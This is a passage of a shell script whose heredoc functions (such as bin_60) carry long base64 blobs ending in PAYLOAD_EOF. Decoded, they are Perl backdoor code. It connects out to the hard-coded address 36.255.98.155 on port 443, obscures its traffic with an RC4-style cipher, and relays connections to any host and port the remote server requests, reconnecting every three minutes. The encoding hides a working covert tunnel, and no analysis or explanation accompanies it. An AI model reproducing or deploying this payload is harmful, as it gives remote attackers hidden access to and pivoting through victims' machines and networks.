ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_60() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 